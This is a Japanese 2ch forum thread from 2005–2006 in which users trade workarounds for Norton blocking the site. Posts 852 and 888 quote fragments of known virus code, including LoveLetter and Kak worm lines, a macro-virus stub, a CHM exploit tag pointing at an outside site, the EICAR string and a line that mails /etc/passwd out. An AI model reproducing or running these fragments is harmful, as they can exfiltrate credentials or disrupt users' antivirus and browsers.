X
トップページ⇒運用情報
981コメント274KB
ノートン誤作動対策本部
レス数が900を超えています。1000を超えると表示できなくなるよ。
0001動け動けウゴウゴ２ちゃんねる
垢版 |
2005/11/28(月) 16:08:40ID:bR9gbCGm0
詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック･セキュリティ･レスポンス
0843動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/20(土) 02:01:04ID:UxN9/Hbe0
N速＋でまた、幾つかのスレにウィルスコード張られてるなぁ…



貼る馬鹿は、樹海池
0845動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/20(土) 02:08:04ID:4fzoyPrc0
貼る馬鹿っつーのは、他人の家に勝手に出前送りつけたり
ピンポンダッシュして物陰からニヤニヤしながら眺めてるような奴なのかな？
マジで樹海逝ってくれ
0849動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/21(日) 17:58:26ID:+w8Xwl0G0
ヽ(`Д´)ﾉｳﾜｧｧﾝ!!
0851動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 00:10:53ID:8SW5pKAP0
野豚先生のオートブロックからオカ板を救い出そうとしたんだけど、制限押しちゃった。
どうしたら制限解除できるか教えてえらい人。
0852動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 05:24:43ID:wNSTIVWx0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
0854動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 18:34:49ID:x/ho1oyO0
今日ノートンをつけたけど、ホントにウィルスが反応したｗｗｗ
びっくりｗｗ
0857動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 23:06:13ID:ETkw1oK20
おおう・・・アンチウイルスがMSIEJAVAオンロードに反応して
このスレの対策覗けなかったぜ
ワーム防止解除でやっと見れた

少し賢くなれた気がする。自分にとって不具合がある方がなあに、かえって免疫力がつく。
そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。
0858名無しさんの助言 ◆JogenOuJ66
垢版 |
2006/05/23(火) 08:29:28ID:n+xiKrcl0
＞そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。

ここんとこｸｿワロタ。

専用ブラウザ使ってる人は、852の書き込みをそのままNGワードのリストに貼っちゃうというのも
楽かも知れないですね、とか言ってみるテスト。
0860動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/01(木) 08:12:48ID:3zZVmq9d0
今日反応したスレ

【日テレ隠蔽疑惑】炭谷宗佑アナを報じない日テレ、容疑否認のテレ東社員を実名報道　テレ東も即日実名で伝える★２
http://news19.2ch.net/test/read.cgi/newsplus/1148999462/

…この騒動が起きてから、幾つかの『日テレ隠蔽疑惑』関連スレに、
ウィルスコード貼ってる香具師が居るなぁ




まさか、関係者？＞コード貼る馬鹿
0862softbank220001088253.bbtec.net(220.1.88.253)
垢版 |
2006/06/01(木) 22:47:23ID:/syViJED0
どう？
Monazilla/1.00 (cockcrow/2.5.5.5)
0863動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/01(木) 23:12:19ID:2pQl8VUp0
誤作動ばかり起こるセキュリソフトを使い続ける人の気が知れねｗｗｗｗ
0864動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/02(金) 18:24:12ID:1Oq2QSVQ0
やっとここにたどり着いた。
昨日206.223.152.55に攻撃されたのはノートンのせいってこと？
何度も攻撃されてびびったよ誰か教えて。
0866動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/02(金) 19:43:52ID:ep2eE5W+0
＞昨日206.223.152.55に攻撃された

なんで２ちゃんのサーバーがお前を攻撃するんだ？

206.223.152.55 = tiger508.maido3.com = life7.2ch.net

自己紹介 夢･独り言 生活ｻﾛﾝ 生活全般 その日暮らし 一人暮らし 借金生活
ｽﾎﾟｰﾂｸﾗﾌﾞ 記念日 冠婚葬祭 育児 家具 ﾓﾃﾞﾙ ﾌｧｯｼｮﾝ 靴 化粧 美容 美容整形
一般海外生活 北米海外生活 ｸﾚｼﾞｯﾄ 家庭 懸賞 たばこ めがね ﾏｲﾗｲﾝ ｺﾝﾋﾞﾆ ﾊﾞｰｹﾞﾝ  
ﾋｯｷｰ ﾒﾝﾍﾙｻﾛﾝ 癒し 人生相談 心と宗教 身体･健康 ｱﾄﾋﾟｰ ｱﾚﾙｷﾞｰ ﾊｹﾞ･ｽﾞﾗ ﾒﾝﾀﾙﾍﾙｽ
0868動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/03(土) 22:12:48ID:zqZmttpa0
ノートンアンチウイルス２００５の場合、設定はどうやったらいいのでしょうか？
ｴﾛｲ人教えて
0869868
垢版 |
2006/06/03(土) 22:22:47ID:zqZmttpa0
自己解決しました。すみません。
0872動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/03(土) 23:06:24ID:uTPZaxbS0
test
0874870
垢版 |
2006/06/03(土) 23:38:39ID:LY3W2bvD0
書き込まず読み込むだけで
インターネットワーム防止→AutoBlockルール
にその板の２ちゃんアドレスが書き込まれます

もちろん「侵入を検知して遮断しました」と言われるわけですが


「HTTP MSIE JavaScript OnLoad Rte CodeExec」のチェックを外せば
読み込めますが、うざすぎ
0876動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/04(日) 09:39:07ID:SyplLNft0
ノートン捨てた。ソースネクストにした。良かった。
0880動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/04(日) 22:55:29ID:zBN5dg8i0
つーか、誤動作というより２ch管理人が
HTTP MSIE JavaScript OnLoad Rte CodeExec送信してアクセス妨害しているだけだし

ノートン入れられると２ｃｈにとって都合の悪い利用者のハッキングができないから
どーしてもノートンを外させたいらしいね
0882動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/05(月) 11:14:26ID:9IAVDNee0
>>835
表示されたファイルをＡｕｔｏ－Ｐｒｏｔｅｃｔの除外リストに加える。
シマンテック
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
0884882
垢版 |
2006/06/05(月) 12:47:48ID:9IAVDNee0
>>883
貴重なご意見ありがとうございます。
今後の参考にさせていただきます。
0888動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/10(土) 14:13:07ID:B1kyHaxf0
//<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？

これってＮＩＳ2003でどう対処すればいいですかね
ttp://mickey.mirv.net/2chnis.html とかもやってみたけど効果なかった。
0889動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/10(土) 14:37:07ID:vbM5yPaN0
２ちゃんねるWiki
http://info.2ch.net/wiki/pukiwiki.php?%A3%B2%A4%C1%A4%E3%A4%F3%A4%CD%A4%EBWiki
ノートン入れたら２chに書きこめない人へ
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
0891動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 03:59:21ID:NXtyf/QL0
むしろウイルスコード貼ったヤツは強制フシアナになるようにすればいいんだよ。
どこの誰がやっているか一発でわかるしｗｗ
0893動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 05:18:57ID:YJ3RbPRP0
>>890-891
↓ウイルスコードを貼って、マッチ＆ポンプでノートンなどを叩いている犯人の一人の紹介スレ。


（アンチウイルスNOD32厨とｲﾝﾃﾙ厨とペストパトロール厨を兼ねている）
http://tmp6.2ch.net/test/read.cgi/tubo/1145644897/
http://66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://pc8.2ch.net/test/read.cgi/pcnews/1132667241/
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
過去に確認されたリモホ
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
acca.osaka.ocn.ne.jp
ppp.prin.ne.jp（PHS）
0895動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 10:41:08ID:bxlw8H2ZO
いまさらウイルスコードでｷﾞｬｰｷﾞｬｰ騒ぐ奴ってなんなの？


馬鹿なの？
0898動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 13:11:01ID:OGt9xJAc0
今日ちょうどｷﾞｬｰｷﾞｬｰ騒いでる奴見かけたところだｗ

642 名前：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！　[sage]　投稿日：2006/06/11(日) 03:26:36 ID:aqYcE6Jh
だれだ最近、避難所にウイルスコード貼る奴。
専ブラがおかしくなって、そのたびに削除→ダウンロードしなおし→お気に入り登録しなおし、すごい手間、めちゃくちゃ迷惑。

643 名前：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！　[sage]　投稿日：2006/06/11(日) 07:23:59 ID:QvemZE+C
>>642
それって難民フォルダーにあるsubject.txt（専ブラによって名称違うかも)を上書きするだけで直るよ
0901動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/17(土) 01:58:39ID:KdVQpFu60
Norton使わなきゃいいだけの話なのに
何でこんなに盛り上がってんの？

Symantecがクソなだけだろ。
2chがそこまで面倒見る必要ないよ。
0902動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/17(土) 02:10:57ID:c15+vmjg0
　　　　　　　　　　　　 _,..--‐‐‐‐‐-...,_　　　　
　　　　　　　　　　　／:::::::::::::::::::::::::::::::::::'.,　　　　
　　　　　　　　　　/:::::::::::::::::::::::::::::::::::::::::::::::..　　　　
　　　　　　　　　　i, 　NOD32厨　　 ::::::::::::,　
　　　　　　　　　　ゝ　 ／' 　'＼　　　 :::::::::::'
　　　　　　　　　　 . -･=-,　､-･=-　　::::::::::;'　　　 　
　　　　　　　　　　 | 　.,ﾉ(・ ・ ( ⌒　　::６）　　　　　　
　　　　　　　　　　 .l　┃ﾄｮﾖｺｲ┃　　.ソ　　＜ Norton使わなきゃいいだけの話なのに　　　
　　　　　　　　　　　ヽ┃｀ニ'´ ┃　,.i-、　　
　　　　　　　　　　　　　,｀~,'i' "~ ／　　,>"'-、　　
0907動け動けウゴウゴ２ちゃんねる
垢版 |
NGNG
まぁ、私の場合は

NAVが反応→NAVのオプションから
インターネットワーム防止＞AutoBlockルール＞全ての遮断を解除
して、インターネットワーム防止を解除（警告が出るので、OKを押しておく）
→2chブラウザのログを取得して、ウィルスコードの部分をローカルあぼーん

で、難なくNAVを使っているわけだが。
0910動け動けウゴウゴ２ちゃんねる
垢版 |
NGNG
>>909
NAVが反応→2ch鯖が遮断
　　　　　　　　　　　　　　↓
NAVを起動して、オプションにアクセス。インターネットワーム防止をクリック
　　　　　　　　　　　　　　↓
AutoBlockルールをクリックして、全ての遮断を解除をクリック
　　　　　　　　　　　　　　↓
インターネットワーム防止をオンにするのチェックを外す＞OKを押す
　　　　　　　　　　　　　　↓
保護の警告ダイヤログが出る。
停止時間を15分、1時間、5時間、システム再起動まで、永久的から選択可能。
OKを押すとインターネットワーム防止機能が停止。
　　　　　　　　　　　　　　↓
ログを取得して、ウィルスコードが書かれたレスを
2chブラウザのローカルあぼーん機能で削除する。
＃ブラウザ上あぼーんでも、取得したdatには残るソフトでは駄目かも。
　　　　　　　　　　　　　　↓
インターネットワーム防止機能を復帰させる。
0912動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/18(日) 01:59:16ID:KtKK/xzI0
わからない五大理由改

＜ノートントラップにかかる六大理由＞
1. 読まない ・・・対処法は書いてあるのに読まない。読む気などさらさらない。
2. 調べない ・・・過去スレ、ググるなど最低限の内容も自分で調べようとしない。
3. 試さない ・・・めんどくさいなどの理由で実行しない。する気もない。
4. 理解力が足りない ・・・理解力以前の問題で理解しようとしない。
5. 人を利用することしか頭にない ・・・甘え根性でその場を乗り切ろうとする。
6. それでもノートンを使う ・・・上記に該当するのに、誤作動を仕様と言って直さない糞ソフトに大事なお金を垂れ流す。
0914動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/18(日) 11:43:16ID:6mehq8cj0
>912
>5. 人を利用することしか頭にない ・・・甘え根性でその場を乗り切ろうとする。

それを世間一般では、『 要領がいい 』又は『 狡い 』という。
912は、要領の悪い世間知らずのヒッキーか？

0915動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/18(日) 13:19:15ID:XZEJdYVF0
現在回避できないノートントラップなどあるでしょうか？
特にノートンじゃなくても良いのですが、他の不具合が出るとか、
ありますでしょうか。

私は早々にノートンから他のセキュリティー製品に切り替えてしまったので、その辺りが解らないので質問させていただきました。。
0916動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/19(月) 10:42:39ID:V5zd1Xkf0
アバストも駄目
0918動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/19(月) 23:36:55ID:1dSp2Mu/0
>>912
ノートンを誤作動とか言ってる時点でわかってないじゃない
0919動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/21(水) 23:07:21ID:N0YkyuI90
NIS2006なんだけど対策教えて下さい
0921動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/22(木) 08:01:45ID:z+Bj6crv0
>>920
一応レス後半やまとめサイトの2005のをやった後に一時的によくなったんですが
ダメな板はﾀﾞﾒで、その後>>13とかやったんですけどはじかれちゃうんですよ。
他にありませんかね。
30分待てば又スレ読めますので教えてください
0928動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/23(金) 19:48:23ID:AL1OlihM0
>>917 さん
返信ありがとうございます、参考にさせていただきます。

>>916 さん
情報ありがとうございます
アバストについては自分で調べてみます。
0929915-928
垢版 |
2006/06/24(土) 08:42:08ID:2lOlEW2f0
928の後、調べたところ、
アバストも設定で回避できるということがわかりました、
ノートンも確認済み。

（微妙にすれ違い失礼しました。）
0930動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/25(日) 19:10:33ID:nPZXTUgCO
コードの野郎どこにありやがる
0936動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/25(日) 20:40:15ID:qn/6XT870
NIS2005の場合(多分NIS2006も同じ)
タスクトレイのNISアイコンを左クリック＞「Norton Internet Securityを開く」
NISが開いたら、左側の一覧から「Norton Internet Security」を選ぶ
システムの状態一覧から「ファイアーウォール」を選ぶ
左下にある「設定」ボタンを選ぶ
「ネットワーク」タブを選ぶ
「信頼」タブを選ぶ
「追加」を選ぶ
「個別」を選ぶ
アドレスに以下の数字の塊を一行でコピペする　　　←　ここで、コピペができません。どうしたらいいですか？



0938動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/25(日) 20:45:26ID:qn/6XT870
>>937
できました。　ありがとうございました。
0939動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/26(月) 23:19:03ID:04A0pu1O0
とあるスレ一覧更新したら「ＷＳcript.KakWorm」の警告がでます
どうやって誤検知除外したらいいのでしょうか？
0940動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/27(火) 09:46:13ID:uiyLh7K90
つーか、例の構文貼られても遮断しなくなった。
ノートン側が折れて対応したって事なのか？
レス数が900を超えています。1000を超えると表示できなくなるよ。
ニューススポーツなんでも実況